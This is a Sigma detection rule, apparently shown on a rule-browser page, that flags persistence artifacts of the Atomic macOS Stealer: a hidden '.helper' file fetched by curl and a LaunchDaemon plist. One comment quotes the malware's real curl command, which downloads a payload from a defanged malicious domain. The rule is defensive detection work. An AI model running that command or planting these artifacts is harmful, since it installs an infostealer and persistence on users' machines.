Emerging Threathighexperimental
Atomic MacOS Stealer - Persistence Indicators
Detects creation of persistence artifacts placed by Atomic MacOS Stealer in macOS systems. Recent Atomic MacOS Stealer variants have been observed dropping these to maintain persistent access after compromise.
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Launch
Jason Phang Vern - Onn, Robbin Ooi Zhen Heng (Gen Digital)Created Sat Nov 22e710a880-1f18-4417-b6a0-b5afdf7e30232025
Emerging Threat
Active Threat
Developed to detect an active or emerging threat. Prioritize investigation of any alerts and correlate with threat intelligence.
Log Source
macOSFile Event
ProductmacOS← raw: macos
CategoryFile Event← raw: file_event
Events for file system activity including creation, modification, and deletion.
Detection Logic
Detection Logic2 selectors
detection:
selection_user_helper:
# sh -c curl -o '/Users/<username>/.helper' hxxps://halesmp[.]com/zxc/app
Image|endswith: '/curl'
TargetFilename|startswith: '/Users/'
TargetFilename|endswith: '.helper'
selection_launchdaemon:
TargetFilename: '/Library/LaunchDaemons/com.finder.helper.plist'
condition: 1 of selection_*False Positives
Unknown
False positive likelihood has not been assessed. Additional context may be needed during triage.
MITRE ATT&CK
Other
detection.emerging-threats
Rule Metadata
Rule ID
e710a880-1f18-4417-b6a0-b5afdf7e3023
Status
experimental
Level
high
Type
Emerging Threat
Created
Sat Nov 22
Path
rules-emerging-threats/2025/Malware/Atomic-MacOS-Stealer/file_event_macos_malware_amos_persistence.yml
Raw Tags
attack.persistenceattack.privilege-escalationattack.defense-evasionattack.t1564.001attack.t1543.004detection.emerging-threats